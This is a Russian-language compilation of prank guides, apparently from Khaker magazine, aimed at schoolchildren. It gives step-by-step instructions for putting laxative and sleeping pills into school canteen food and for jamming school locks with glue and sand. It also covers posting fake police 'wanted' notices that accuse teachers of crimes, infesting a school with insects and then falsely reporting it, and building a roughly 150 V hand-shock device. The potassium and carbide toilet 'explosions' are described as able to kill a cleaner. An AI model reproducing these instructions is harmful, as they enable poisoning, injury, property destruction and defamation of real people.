Всем привет и удачных заподлянок.
Западлостроение в столовой
Эпиграф:
“Общепит сродни концертному залу - там надо не есть, а смеяться!”
Неизвестный автор
Ну, поехали! (сказал нарком)
Все изучали физику в школе? А делали опыт со стаканом воды и листком бумаги? Да, правильно: наполняем стакан водой, накрываем листком плотной бумаги, переворачиваем вверх дном... Ё-моё! Бумага “прилипла” и вода не вылилась!
Далее.
Все пробовали пойло, которое в столовой зовется “КОФЕ”? Не жалко? Ну да, жалко у пчелки в попке. Так вот, с кофе этот номер тоже работает.
Соу, нужен по крайней мере один стакан “кофе”. Даю 100%: если уборщица неученая, то заподло сработает. Ты, перец, должен потренироваться со стаканом заранее! Я не имел в виду - пить ЭТО! Потренируйся со стаканом и листком бумаги, чтобы у тебя все получалось с ходу.
Самая ответственная часть. Взял себя :) в руки!
Поднял стакан с “кофе”, накрыл бумагой, перевернул, аккуратно (!) опустил конструкцию на гладкий сухой стол, еще аккуратнее вытянул бумажку. ВСе! Zападла готова!
Лучше всего, если поставишь стаканчиков так 10-30. ;)
Все замешанные в западле сдела
ли невинные лица, отошли подальше, ждем окончания завтрака, издали наблюдаем за уборщицами/дежурными. Подождать придется минут 20.
Итак, уборщица видит “минное поле”. Она понимает: если возьмет стакан, “кофе” будет на полу. Что делать?! Не-а, версий нет ;). Берет стакан - “кофе” на полу. Блин! Берет второй стакан... Что ж такое, та же история! Плюет. Собирает все стаканы. На полу море. Уборщицы всей авральной командой собирают его тряпками в тазик. Все, концерт окончен (пока ;) ). Тихо, спокойно рвем когти!
Ну, теперь ждем пару дней (...недель, если много “вони”), повторяем проЦеДуру.
Сработало?!! Ну, твои бабки - на редкость тупые экземпляры! Надо учить! Повторяем проЦеДуру, пока не заработают мозги.
Уно... Дуэ!
Ага! Теперь бабки поумнели: сгребают стаканы к краю стола и сливают “кофе” в предварительно захваченный с собой тазик? ОК! Переходим к стадии нумеро дуе.
Кто сказал, что стаканы с “кофэ” можно ставить только на стол? Да никто!!! Ставим “кофэ” НА ПОЛ. Пол чем хорош? У пола краев нет!:) Гоняй, бабка, гоняй, хоть целый день! Усе равно поднимешь, усе равно тряпкой поработаешь!
Тэкс! Значит еще раз бабки поумнели: прежде чем стакан поднять, его сразу тряпками обкладывают?!! Это война!!! Стадия намБы тры!
Ты готов к боли?! Ты готов к страданиям?! Придется нам пожертвовать любимым десертом. “Кофэ” больше не подходит, а подходит компот (красный такой). С ангельским видом просим маму сделать нам, любимым деткам, ЖЕЛЕ из вишни! Но следим, чтобы мама желе до краев наливала, а остальные члены :) семьи его не слопали.
В день Х (в смысле ХАКЕР) ставим стаканы в пропорции 1 желе к двум компотам. И наблюдаем... Уборщица подходит к компоту, обкладывает его тряпкой, поднимает... порядок! Компот убран. Подходит ко второму компоту, обкладывает тряпкой, поднимает... А ОН ОСТАЛСЯ В СТАКАНЕ! Минуту ступора - гарантирую! Потом пальцем потыкает. А! ЖЕЛЕ! Если же стакан с желе (а лучше 2) попадутся ей вначале, то стакан с компотом окажется на полу. Типа, тоже желе - на фиг тряпку!
Вота
Дальше уже только твоя фантазия. Наши самые отвязанные бакланы ставили стакан с яичным желтком внутри, с жирным бульоном и даже с мочой! Разве что спермы не догадались добавить. Ну, дети! Что с них взять?
Западло в учебном заведении
Раньше шутки над учителями были примитивными и безобидными. Ну, там, кнопку на стул преподавателю положил, доску мылом намылил. А теперь что? От такого крутого западлостроителя-варвара, как ты, школа просто перестает существовать, а преподавателей, бывает, выносят вперед ногами. Настал новый сезон приколов, пора снова все крушить, ломать, смеяться и... наслаждаться содеянным! Спец, как всегда, тебе в этом поможет. В бой!
Клею, клею, все заклею
Тебя наверняка посещали мысли заклеить дверной замок в кабинете химии. Что, я прав? И ты наверняка это не раз уже проделывал. Твои одноклассники были рады, что химии сегодня не будет, а итоговая контрольная работа, вот уже который год, оказывается сорванной. Но подумай: тебя же легко вычислить! Сам поразмысли: кому выгоднее всего избежать химии? Конечно, тому, у кого оценки хуже всех. То есть тебе :). Так что теперь делай иначе: твоя цель - заблокировать все входы и выходы школы. Для этого тебе придется закупить клей быстрого действия "Суперглюк". Купил? Теперь можно воткнуть в дверной замок спички, монетки, проволоку, мелкие камни (особенно здесь пойдет песок) и потом залить это все клеем. Эффект потрясающий. Если ранее, когда ты просто засовывал спички или просто заливал клей, это можно было легко обезвредить (спички вытаскивались щипцами, а клей просто продавливался ключом), то теперь замок вместе с дверью идет "под снос". И ничего здесь не поможет. А подумай, сколько здесь подозреваемых? Мало того, что это все ученики твоей школы - это еще и те, кто просто проходил мимо! Да и избавлен ты будешь минимум от половины уроков. Представь такую ситуацию: охранник с утра (в часов 7) приходит открывать школу и... чего-то она у него не открывается. Он, конечно, проявляет свое мужское самолюбие и начинает ковыряться, но... опять никаких результатов. К этому времени подходят ученики и учителя. К 8:30 утра здесь соберется около 500 человек. Педсовет решает сломать замок, но дверь оказывается железной (а где сейчас не железная дверь?), и становится понятно, что без слесарей здесь не обойтись. Звонят в местное РЭУ, просят прислать слесарей. Те, как всегда, пьяные (в 9 утра они ЕЩЕ пьяные). Остается вызвать МЧС России или всем заходить через окно. В итоге, часам к 10 уроки возобновятся, но у тебя же есть еще завтрашний день и послезавтрашний... Если все будешь делать правильно и регулярно, то скоро у дверей твоей школы будет выставлена круглосуточная охрана. Прямо как в Мавзолее.
А вот еще один способ применения оставшемуся клею: в школьной столовой приклей чашку, ложку и тарелку к полу. Отойди на пару метров и смотри, как уборщица будет отдирать твое творение. Ничего хитрого здесь нет, но весело тебе будет - обещаю.
Вот видишь, сколько дел можно натворить одним тюбиком клея? И это все сделал Ты!
Внимание: розыск!
Во всех учебных заведениях есть места для объявлений, называются они "доски объявлений". Так вот: там, на этих самых "досках", висит разная информация: расписание уроков, кто-то кого-то приглашает обучиться за $$, просто различные мессаги... Так почему бы тебе не воспользоваться такой услугой и не повесить свое объявление? Здесь, кстати, может быть много вариантов. Если хочешь - можешь повесить указ об исключении из школы некоего ученика Сидорова. Представь, как его холодный пот прошибет! А можешь внести изменения в расписание завтрашнего дня. Мол, весенние каникулы начинаются на неделю раньше и продлятся до Нового года. Короче, фантазируй. К примеру, можно сделать объявление с фотографией твоего самого нелюбимого учителя (директора) и написать: "За совершение тяжких преступлений разыскивается милицией". Для этого нужна только фотография твоего неприятеля. Сканируешь, малость обрабатываешь ее в Фотожопе, чтобы качество похуже, и делаешь фон из горизонтальных линий. Сверху обязательно напиши крупными буквами "ВНИМАНИЕ! РАЗЫСКИВАЕТСЯ МИЛИЦИЕЙ", а далее текст по вкусу. Здесь все зависит от этого, насколько сильно тебя достал этот учитель. Можешь приписать ему развращение малолетних, а можешь каннибализм... в общем, сам решай - ты все можешь :). Теперь мамы и папы, бабушки и дедушки, дожидаясь своих детей, от нечего делать глянут на доску объявлений. Детей они встречают каждый день, и рожа на фотографии запомнится им надолго. Отдельные отцы-энтузиасты попытаются при встрече задержать преступника. А какое выражение лица будет у преподавателя, когда он увидит свой портрет! Запомнит это на всю жизнь.
Атака бобров
В общем, есть такое место в Москве (и не только) - "Птичий рынок". Продается там все что хочешь. От насекомых до крокодилов. Так вот: вторые нам не нужны, а первые очень даже пригодятся для следующего коварного плана. Надо закупить все виды насекомых: жуков, мух, тараканов, блох и бобров =). Берут их по возможности много, а при выборе отдают предпочтение тем, кто быстрее размножается. Главное в этом трюке - количество. Теперь задача западлостроителя выпустить всех своих питомцев в школьное помещение. Надо подождать пару дней, пока они освоятся и размножатся. Как только почувствуешь, что все вокруг замечают небывалое присутствие тараканов и бобров, - звони в санэпидемстанцию. Говори, что в твоей школе небывалое скопление насекомых и других тварей, твое состояние резко ухудшилось за последние 2 дня, и все такое. Через пару часов приезжают люди в белых халатах и закрывают школу на карантин. Неделя каникул тебе обеспечена. А как только почувствуешь, что учиться надоело, - просто повтори прикол.
Игра в прятки
А ты никогда не пробовал спрятать какую-нибудь жизненно важную для урока вещь? То, без чего урок никогда не начнется? Такой вещью являются, например, очки учителя: если он близорук, то без очков не сможет вести урок. А как насчет мела? Это, конечно, все баловство и особых хлопот не принесет. Такие штуки можно вытворять "шутки ради", но долго учитель не промучается. А подумай: что можно спрятать, чтобы от этого страдала вся школа? Да, я говорю о классном журнале. Именно о нем! Дело в том, что в случае исчезновения журнала у всей школы начнутся неприятности: классный руководитель должен будет его восстанавливать, ходить и собирать оценки, директор будет трястись, так как отчитаться перед начальством он не сможет. Особенно этот фокус хорошо действует перед самым окончанием учебного года. Когда надо выдавать аттестаты!
Пурген
Чего-то все забыли об этом чудо порошке, а зря. Действует он безотказно. Дело, наверное, в том, что все считают это старомодным способом. Ну и что? Что здесь такого старомодного? Разве не здорово заставить дристать всю школу, всех учеников, учителей, всех... всех, кроме самого себя =). Как ты догадываешься, тебе будет необходимо подсыпать порошок в еду, которая находится в столовой. Как это сделать? Надо будет незаметно добавить пурген, скажем, в котел с чаем. Только делать это следует так: берется полный стакан чая, туда засыпается порошок, все перемешивается. Только теперь эту дрянь можно выливать в котел. Делается это для того, чтобы твой пурген вдруг неожиданно не всплыл, что моментально вызовет подозрения. Если захочешь, в котел с какой-нибудь едой добавь снотворное. Представь картину: одна треть школы бегает в туалет, другая спит, а третья ничего понять не может.
Плыви, дерьмо зеленое
Это западло для настоящих ценителей. Для диверсии понадобится всего лишь маленький кусочек калия. Дождись, когда все дети отучатся и уйдут по домам, а в школе останется лишь уборщица. Та, которая по вечерам убирает школу. Так вот, к моменту, когда все уйдут, - надо положить маленький кусочек калия на обод унитаза (только смотри, чтобы он не был мокрым!). Все дело в психологии человека, а именно - уборщицы. Как только она увидит на унитазном ободе "мусор", она его смахнет (не на пол, чтобы не сорить, а в унитаз). В унитазе вода, а калий с водой не уживается. В результате происходит такой взрыв, что сортир может разлететься на несколько частей, уборщицу накроет бачком от унитаза, а дерьмо будет плавать по всему этажу. Но только не переборщи с калием, реально можно убить уборщицу или вообще - школу взорвать.
Напутствие
Итак, ты теперь знаешь, как устроить свою маленькую диверсию. После прочитанного во многих школах дверные замки перестанут работать, классный журнал будет спрятан, а дерьмо станет плавать по этажам... Но я хочу, чтобы ты помнил: не гадь всем подряд! Если человек тебе ничего плохого не сделал - не надо портить ему жизнь. А вот если тебя кто-то конкретно достал - действуй! И присылай свои новые методы.
Высокотехничное западло
Вниманию западлостроителя предлагается усовершенствованный вариант рукотряса. Данное устройство соответствует новому стандарту Push&Die(tm) и не прошло ни одного теста по безопасности...
Нужно намыть (спереть у друга, из сломанного ящика и т.п.) или в крайнем случае купить:
- Микросхему К155ЛА3 - стоит ~2р.
- Батарейку на 4,5в.
- Паяльник, олово, провода, кусок гетинакса или стеклотекстолита (можно одностороннего).
- Трансформатор, резистор на 510 Ом, конденсатор на 10 Мкф.
Шаг первый
Берем гетинакс( это такая хреновина, на которой нанесена медь) и чертим на ней нитрокраской или специальным маркером такой рисунок:
Даем всему этому высохнуть и опускаем в раствор хлорного железа (на одну часть железа три части кипяченой воды). Через полчаса вынимаем всю эту бодягу, а раствор оставляем: он нам еще пригодится. Очищаем получившуюся плату от нитрокраски, сначала промывая ее, а затем отскабливаем ножиком и зашкуриваем. Подрезаем плату ровно под размер контактов, затем припаиваем к отводам от больших прямоугольников провода. У нас получается контактная часть нашего Рукотряса, то есть та его часть, которую мы зажимаем в руке.
Шаг второй
Самое сложное наступает именно сейчас, многие будут не в состоянии собрать предложенную схему, но это не беда - подробную консультацию можно получить по e-mail лично от меня (если что, mailto: kirill@hotmail.ru). В общем, схема такова:
Прямоугольники - это элементы микросхемы, но лучше в эти подробности не вдаваться, а просто соединить выводы микросхемы, как показано на рисунке.
Питание от батарейки подается на выводы 14(плюс) и 7(минус). К минусу надо также
подключить свободный контакт кнопки «Пуск», а вторичная обмотка трансформатора подключается к точке out одним выводом, а другим к плюсу батарейки (в последнюю очередь). Теперь, если все собрано правильно, достаточно нажать на кнопку, и на выходе трансформатора (на первичной обмотке) будет ток высокого напряжения. Провода в первичной обмотке подключаем к первой схеме (если помнишь, это контакты рукотряса).
ТехниЧескаЯ информациЯ
- Контакты микросхемы считаются от метки (своеобразное углубление на корпусе) против часовой стрелки.
- При долгом неиспользовании батарейку надо отключить, так как она разряжается.
- Напряжение на выходе примерно 150 вольт, хотя разброс бывает большим
Глобальное техническое западло в общественных местах
Западло - не всегда орудие мести с летальным исходом. Иногда просто хочется незлобливо поглумиться над милыми твоему хацкерскому сердцу обывателями :). И не хочется нехилого геморроя и риска, которых не замечаешь, когда мстишь. Вот и нам всегда хотелось, чтобы заподлянки были универсальные, мобильные и нетривиальные и в то же время не несли с собой тотального дестроя подопытных и окружающей обстановки. Достал милую гадость из кармана, прилепил где-нибудь - и ты уже король. Вот, присели мы, наморщили яйца и родили специально для читателей Х ультраклевые девайсы. Прошу любить!
Немного НЛП
Что случается с человеком, когда он видит непонятную кнопку? У человека возникает сильное желание ее нажать и выяснить, зачем она здесь. Да, обыватель подозревает, что может случиться что-то непредвиденное: например, стартует межконтинентальная ракета или ликвидируется соседний подъезд. Но зачастую бороться с собой просто нету сил. Что случается, когда нажатая кнопка вызывает бурную реакцию (звон, вой, мигание света, подземные толчки)? Ламер ушастый делает неожиданную кучу и резко линяет с места происшествия. Согласись, приятно проучить слабовольного придурка!
Идея!
Давай подсунем обывателю таких кнопочек в самые неожиданные места? Никакого вреда, сплошная польза: подобно Павлову, выработаем у подопытных стойкий рефлекс обходить непонятные девайсы стороной. В мире сразу станет безопаснее :).
Прикрепим
Готовые кнопки очень удобно приклеивать на небольшие кусочки двустороннего скотча. Это такая лента толщиной 2 миллиметра, шириной 2 сантиметра и длиной 2 метра (бывают и другие размеры), скрученная в рулон. На нее клеят зеркала. Стоит от 80 до 200 рэ, но ее хватит надолго. На строительном рынке можно найти это удовольствие за 10 рэ в небольшом количестве - но тебе много и не надо. Впрочем, можешь поюзать какой-нибудь вязкий клей. Надо отрезать кусочек скотча, снять защитную пленку, прилепить сзади на звонок, а звонок - к стенке. Все (кусочки скотча, кнопки, таблички, прозрачный скотч, ножницы) должно быть готово заранее, чтобы ставить западло молниеносно.
Использование и немного фантазии
Начать можно со своего подъезда - благо, далеко ходить не надо. Оглянись вокруг. Что представляет собой среднестатистический подъезд? Обшарпанные исписанные стены, загаженные лестницы, вонючие лифты, мусоропроводы - и никакой эротики. В смысле, эстетики. Конечно, отдраивать это без мазы, но сделать более Х-стильным вполне по силам.
Кнопки звонков
Какие они однообразные, унылые и одинокие! Но пейзаж сразу оживет, если вокруг твоей или соседской пимпы появятся еще штучек 15-20 альтернативных 8). Пусть они будут разными по цвету и форме, пищат и мигают при нажатии. Какой сюрприз для посетителей! Ко мне в квартиру всякие почтальоны и участковые не могут попасть по десять минут (из них 5 минут их клинит, остальные 5 минут они методом перебора ищут нужный батон). На глупый вопрос: "Это что?!", я всегда отвечаю: "Звонки!".
Ты можешь устроить со своей дверью полный хардкор. Если повесить фальшивые звонки не только на уровне лица, но и на потолок и пол и снабдить их разными подписями (причем настоящая кнопка будет в районе пола) - тебя уже точно никто не сможет вытащить из клозета. Мои кнопки украшают такие лейблы (с пола до потолка): "алкоголик дядя Вася", "тараканы", "хомяки", "Мурка", "вышибала", "шлюхи", "мухи", "старухи", "крыша". А как здорово люди реагируют на кнопочки, свисающие на проводах с потолка!
Мусоропровод high-tech
А ведь скоро придет время, когда помойки станут интеллектуальными. Надо просветить массы! Будет просто замечательно, если твои отсталые соседи научатся пользоваться кнопочным меню. Аккуратно приклеенные на стояк кнопки с надписями "вверх", "вниз", "пауза", "продувка", "вернуть назад", "отрыгнуть монтера", "запустить ракету" застопорят не одного жильца в тапочках, с ведром и отвисшей челюстью. Но они нажмут, обязательно нажмут! А если скомбинировать этот способ с пускателем (что значит - не читал про "пускатель"? Беги, не теряй времени!) ;).
Fantastic Windows
Новые виды транспорта - об этом поведает меню на окне на лестничной клетке. На раму можно приклеить несколько кнопочек с табличками, типа "вертолет", "парашют", "тарзанка", "свободный полет".
Эта маза подойдет и для оформления в Х стиле твоей конуры. Чем твое окно не винды? Правильно! Надо наляпать звонков-иконок, кнопку пуск, таймер в правом нижнем углу, и все дела. Будет круто, если все эти фичи будут действовать. Ну а то, что за окном, - это такая риал-тайм модная заставка на рабочий стол. Представь, сколько раз кончат забредшие к тебе в гости друзья, давя на батоны твоей оконной суперОСи.
Многофункциональный лифт
Лифт - это привычно и обыденно. Это можно изменить. Добавить управляемости - кнопка с надписью "Повернуть кабину на 180 градусов". Подсыпать новых location-ов: "Крыша", "Бомбоубежище", "Овощехранилище", "113-й этаж", "К Сидорову!". Повысить уровень сервиса: "Стюардесса", "Уборщица лифта", "Охрана лифта". Причем кнопочки лепить можно на любую стену, пол и потолок.
Выйду на улицу
Охват эксперимента будет много больше, если повесить меню из кнопок на столбе на улице. Очень мило будут смотреться следующие пункты: "вызов постового", "расстелить "зебру"", "рассосать пробку", "перерыть улицу", "повернуть улицу на 90 градусов" и т.п. Любопытный пешеход надавит на пимпу, а она КАК запищит! Можно засечь время. Вдруг кто-то рекорд на стометровке покажет.
Спущусь в метро
Метро - это еще одно огромное поле деятельности. На первом попавшемся столбе будет замечательно смотреться кнопка с надписью "вызов поезда" или "продувка тоннеля", или "спуск крокодилов". Или чисто компьютерное меню: 1. "новый тоннель", 2. "правка тоннеля", 3. "сохранить тоннель" 4. "новое метро". Эскалатор просто необходимо снабдить кнопкой "турборежим".
В поезде можно творить вообще невероятные вещи. Какая банальщина - "Экстренная связь с машинистом"! Лучше повесить на пульт несколько кнопок с надписями: "Интимная связь с машинистом", "Случайная связь с машинистом", "Спутниковая связь с машинистом", "Связь с блондинкой из соседнего вагона". Еще подойдут менюшки: 1. "поругать машиниста", 2. "наказать машиниста", 3. "выпить с машинистом", 4. "заплатить машинисту". Или: 1. "вызвать машиниста Петрова", 2. "вызвать головного машиниста", 3. "вызвать хвостового машиниста". Причем, одна из кнопок должна всегда быть приклеена на настоящую.
Рядом с дверью вагона неплохо бы повесить кнопки управления поездом: "вперед", "назад", "стоп", "в сторону", "предыдущую станцию еще раз" или кнопки с названиями конкретных станций линии. Как в лифте 8). А еще офигенно будет вставлять кнопка "вытяжка пота". На вагон снаружи можно повесить такие кнопки: "катапультировать пассажиров", "выгнать бабок".
Голосование
Ты уже привык, что по Интернету постоянно проводят опросы. Типа - проголосуй за любимый сайт. На чем ты сидишь: айзернет, бнц, спутник, радио модем, телефон. А теперь представь себе телегу на подъезде жилого дома: "Уважаемые жильцы! В рамках программы информатизации при поддержке мэрии Москвы мы проводим электронный опрос с помощью интернет-технологий. Благодаря новейшим технологиям введенная вами информация сразу же поступит в электронный вычислительный центр мэрии Москвы. Так что теперь все ваши замечания по поводу работы коммунальных служб вашего подъезда поступают к нам напрямую и будут учтены".
После этой телеги весит менюшка из нескольких кнопок: "часто ломается лифт", "грязь на лестнице", "забился мусоропровод", "нужно сделать капитальный ремонт", "текут трубы", "дом заражен тараканами", "меня заливает мой сосед сверху", "мои соседи не дают спать, днем сверлят, а ночью гуляют".
Ты думаешь, что жильцы не знают, что такое Интернет? А вот и нет! Они знают про всемирную паутину побольше чем ты. Им ведь по телеку все уши прожужжали про всякую информатизацию, про социальные реформы. Мы особо не парились и под такой телегой просто повесили кнопку с подписью "Нажмите. Скажите свое сообщение. Сообщение будет сохранено в нашей Базе Данных". Затем мы сели на лавочку рядом с подъездом и угорали полчаса под перлы жильцов, которые давили на кнопку.
Культпросвет
Из метро перемещаемся в музей. Как здорово найти под картиной дамы в пышном платье и шляпе с перьями кнопочку "Стриптиз NOW!", а под портретом бородатого мужика - пимпу "Побрить!". Или менюшку: 1. Новая картина, 2. Открыть картину, 3. Закрыть картину, 4. Стереть картину. Заметь, шедеврам урона мы не наносим. Мы же не вандалы! Но какое приключение ждет того "искусствоведа", который нажмет такую цапу, и она заверещит в гулкой тишине музейных залов.
Пора учиться!
В твоем любимом учебном заведении зло-кнопки просто незаменимы! Нельзя же оставить деканат без меню! Представь, на кабинете декана: 1. Злой декан, 2. Добрый декан, 3. Пьяный декан, 4. Голый декан. Выходит сам декан и видит меню. Он задумчиво давит на кнопки, а те пищат и светятся!
Пульт управления студентами
Это реально поможет сделать лекцию легкой и приятной. Итак, нужны кнопки с различным звучанием. Все они клеятся на стол к лектору с надписями: "Построить студентов", "Громкость студентов", "Убить студентов", "Заменить студентов". Вся группа должна выучить, какой звук каким командам соответствует. Далее все с каменными лицами слушают лекцию. Лектору о-о-очень тяжело будет не нажать на такие заманчивые кнопки. Как только он нажмет первую, все должны вскочить и очень четко построиться в шеренгу. Если лектор нажмет вторую кнопку, все должны начать болтать, причем чем больше раз он нажмет, тем громче надо орать. На замечания и угрозы не реагировать! Если осмелится нажать 3-ю, то все должны с криками картинно попадать со стульев и замереть. На 4-ю кнопку все студенты должны выйти вон из аудитории, а на их место - зайти другая группа. Когда взбешенный препод рванет в деканат, нужно убрать все кнопки и сделать вид, что все так и было. У тичера глюки! Ку-ку!
Подойдут просто две кнопки: "встать" и "сесть". И потом не все преподы настолько истеричны. Наш профессор Дискретной Математики поинтересовался, где кнопка "лечь?". А даму по МатАнализу просто разобрало на хи-хи, и всю оставшуюся лекцию мы слушали про то, что она творила, когда училась на МехМате.
Как собрать
Это очень просто, сможет собрать ребенок, если дать ему детали. Но если тебе не охота запариваться, то ты сможешь обойтись просто десятком звонков. Мы купили на рынке десять звонков, каждый по десять рублей. Совсем необязательно пичкать все кнопки радиоэлектроникой. Все вышеописанные приколы с успехом прокатят и с пустыми кнопками.
Как выбрать звонок
Звонки нужны все разные. Лучше брать совсем заюзанные с витрины. Во-первых, можно договориться о скидке, во-вторых, кнопка должна выглядеть натурально. Иногда надо создать впечатление у жертвы, что кнопка тут висит давно.
Покупай звонковую кнопку только тогда, когда решишь, что с ней делать. Для разных целей тебе понадобятся разные кнопки. Они имеют разную форму и прозрачность. В некоторых звонках внутри просто гигантские пространства. Такое ощущение, что изготовитель делал такие специально для нас с тобой. Хотя необязательно кнопку покупать, можно ее найти на помойке, в заброшенном доме либо в своем старом барахле.
Главное - обрати внимание на дно звонка, оно должно быть таким, чтобы туда было удобно налепить скотч. Как ты уже читал, всю нашу заподляцию мы лепим на стены двусторонним скотчем. Будет очень удобно, если на каждую кнопку ты налепишь кусочек ленты заранее. Прилепила - и забыла.
Звенящий звонок
Прикольно люди реагируют, когда сама кнопка при нажатии начинает громко пищать. Чтобы сделать такую, тебе понадобится миниатюрная батареечка и полупроводниковый зуммер. Подойди в радиомагазине или на рынке к развалу, где продают пьезоизлучатели. Динамик - слишком громоздкая штука, поэтому в телефонах и других маленьких устройствах вместо динамика ставят кварцевую пластину. Кристалл кварца меняет размеры, когда на него подают ток.
Но тебе нужен не просто пьезоизлучатель, не просто динамик. Тебе нужен генератор звука. Это генератор звука и излучатель в одном корпусе. К нему достаточно подключить батарейку, и он очень громко запищит. Можно оглохнуть. Все генераторы 3-х вольтовые. Но я подключал к ним батарею на 6 и на 9 вольт. Все было хорошо, только громче был писк.
Очень здорово купить маленькую батареечку на 6 или 9 вольт, к ней удобно подсоединяться. Хотя сгодятся и две таблетки по полтора. Или толстая таблетка на 3 вольта. Смотря какой у тебя звонок. На генераторе звука должна стоять полярность, рядом с одной из ног стоит значок "+". Это значит, что туда надо подать плюс с батареи. Если ты не можешь разобраться, где плюс и минус, спроси у продавца во время покупки. Еще ты можешь потребовать проверить генератор и выбрать тот, который больше понравится. После того как ты нашел детали и запаял все в звонок, нужно в корпусе проделать дырку. Дырка должна быть прямо напротив излучателя. Так звук будет громче раз в десять.
Приятно, что звонок по этой технологии четко слышно даже в метро. Ты можешь найти еще механический зуммер. Такие были в разных детских электроконструкторах. Практически у каждого радиовредителя валяются дома куски такого конструктора.
Электромеханический зуммер сделан из электромагнита и двух контактов. Все рассчитано так, что когда электромагнит срабатывает, то контакты размыкаются. Как только разомкнулись контакты, магнит отключается, контакты снова замыкаются и включают магнит. Мы с тобой слышим характерный звук БZZZZZZ - это трещат контакты, которые колбасит туда-сюда. На промышленных дверных звонках все так же, только к контактам привязывают молоточек, который со всей дури лупит по металлическому корпусу. Такой зуммер можно легко замутить самому, если найти низковольтную катушку для электромагнита или реле. Главное, чтобы все поместилось в звонок.
Светящийся звонок
Это еще проще. Трудности только с тем, чтобы найти достаточно прозрачный звонок. Среди советских чугунно-бетонных образов такой найти сложно. Поэтому наш беленький светящийся звоночек родом из Китая. Кстати, стоил он столько же, сколько и советские собратья.
Самый гимор - это установить две маленьких батарЭйки-таблЭтки. В этом звоночке они влезли в ямочку от одного из контактов. А сверху я прижал их винтом. Пришлось снизу проковырять шилом маленькую дырочку и продеть туда ножку светодиода.
Кстати, такой светодиод можно купить в любой радиолавке или на рынке. Диод стоит 3 рубля и светит намного ярче любой лампочки. Его узнать очень просто: он бесцветный, прозрачный и светит очень ярко - некоторые даже думают, что это лазер. ЗАПОМНИ, у светодиода длинная нога идет на плюс, а короткая на минус. Если ты подключишь наоборот, он не будет светить. Осталось сделать так, чтобы оставшаяся ножка светодиода висела в воздухе над винтом, который крепит таблЭтки. Теперь, когда нажимаешь кнопку, она придавливает ногу, и светодиод загорается.
Благословляем
Словом, ты уже понял, что наш с тобой хакерский долг - приучить обывателя к виртуальной психологии всплывающего меню. Меню отныне везде. Даже в сортире, даже на спине у твоего соседа. Ведь скоро (очень скоро!) никто не сможет даже пукнуть, не выбрав нужный пункт меню. Так что RTFM (Read The Fucking Manual).
Все вышеприведенные материалы взяты из журнала "Хакер"
Дерьмовые войны, или с чем едят унитаз...
Война до победного
Даров тебе, перец. Я уверен, что ты реально крутой приколист, перед которым трепещут все окрестные бабульки. Твой сосед, небось, уже забыл, что такое спокойная жизнь, и боится даже нос из двери высунуть. Твое имя наводит ужас на всех автолюбителей. Да, да, ты реально крут. Но вот в чем загвоздка: как бы крут ты ни был - чтобы поддерживать свою крутизну, тебе надо раз за разом доказывать всем снова и снова, на что ты способен. А арсенал методов-то уже на исходе... Так вот: есть такая штука - унитаз. Ты даже не представляешь себе, какой потенциал содержит в себе эта, на первый взгляд, дико банальная вещь! Только не надо тут же прикидывать, как поменять местами шланги от унитаза и от раковины у соседа... :) Это проблемно и, к тому же, может привести к очень неприятным последствиям...
Унитазус Аттакус
Вещи, о которых я тебе напишу, лучше всего делать в туалетах любимого учебного(рабочего) заведения. Итак, приступим:
Метод номер раз - тревожный унитаз
Здесь нам понадобится кусок калия(тоже металл) и унитаз, но только на этот раз нам нужен старый унитаз не с крутым скатом, а с небольшим выступом перед отверстием с водой.. Так вот: данный выступ тщательно вытирается насухо, а затем на него кладется кусок калия. Когда жертва заходит в сортир и начинает справлять малую нужду, то вдруг в унитазе что-то начинает шипеть, трещать, испаряться и прыгать... Первые мысли, которые придут в голову жертвы в этот момент, - это нашествие марсиан, радиоактивные клопы, диверсия НАТО или приближение конца света. :) Во всяком случае, гарантируется шикарный эффект.
Метод номер два - зажигательный
В этот раз мы бросим в унитаз кусок карбида (чаще всего карбид используют на стройках). Увидишь, что вода помутнеет, и пойдут белые пузыри. Все идет по плану. Далее лучше делать так: заходите с жертвой в сортир, ты небрежно закуриваешь (ну или просто зажигаешь спичку). И, между делом, так же небрежно бросаешь эту зажженную спичку в толчок. Главное, чтобы после того, как эффект произойдет (будет или очень нехилая вспышка и факел из толчка, или толчок вообще разорвет на хрен), ты продолжал говорить, не меняя выражения лица и таким же тоном, словно ничего даже не заметил... Эффект гарантирован.
Вот!
Ну вот, собственно, я и поведал тебе, дружок, какие тайны скрывает в себе эта прекрасная штука - унитаз. Экспериментируй, и пусть имя твое наводит страх и ужас, когда ты станешь грозой сортиров... Если что - пиши (в сабже поставь “wc”). Удачи.
P.S. Автор не несет ответственности за все перебитые унитазы и сломанные санузлы. Я сам живу в глухой деревне Кукуево, и у меня удобства во дворе (там уже свои хацкеры со своими методами веселятся), :) так что настоящих унитазов я никогда не видел. Даже по телевизору.
Дестрой в соседском саду
Ты любишь ездить на дачу? Любишь, конечно. Но даже если не любишь, то порой заставляют родители. А может быть, ты просто живешь в доме за городом? Ладно, не буду тебя дальше допрашивать, одним словом - ты находишься в уютном коттедже, за окном светит солнце, поют птицы, рай, короче. Выходишь ты во двор позагорать, и тут выясняется, что все весьма и весьма плохо. Дело в том, что твой сосед не дает тебе нормально жить. То он постоянно что-то там жжет, и тебе нечем дышать, его куры или козы забредают тебе в огород, он начинает беситься и орать, что ты слишком громко слушаешь своих любимых "Rage Against The Machines" и не даешь спокойно насладиться фестивалем "Славянский базар", замечательным музыкальным творением всех времен и народов. Одним словом - не жизнь, а полный раскарнаж. Надо что-то делать, потому что так это нельзя оставлять ни в коем случае.
И тут...
Ты понимаешь, что соседский сад как-то слишком обыденно выглядит - все эти грядки, клубничка, куры, козы, вся эта банальная серая муть, мозолящая тебе глаза день за днем. Так вот - поможем же соседу разнообразить его унылое существование путем преобразования мрачного садового участка в настоящий сад чудес!
Тебе понадобятся: краски различных цветов. Обязательно должны быть красная, зеленая, черная и белая. Остальные по желанию (фосфоресцирующая еще очень бы пригодилась). Туалетная бумага - несколько рулонов. Валерьянка - несколько флаконов. Молоток, пила, гвозди, несколько досок, дрожжи, побольше камней и щебенки. Также не будут лишними пара-тройка пачек сигарет или папирос, спички или зажигалка, моток веревки и клубок ниток. Захвати клей. Ну что ж, вот мы и запаслись всем необходимым. Если понадобится что-то еще - сообщу по ходу. Пора приступать.
Как ты и сам понимаешь, самое лучшее время для наших подвигов, естественно, ночь - именно под ее покровом делаются все великие дела. Уложив все необходимое в стильный чемоданчик и надев соответствующий наряд (я думаю, лучше всего здесь будет смотреться камуфляж черного цвета и маска с прорезью для глаз), приступаем.
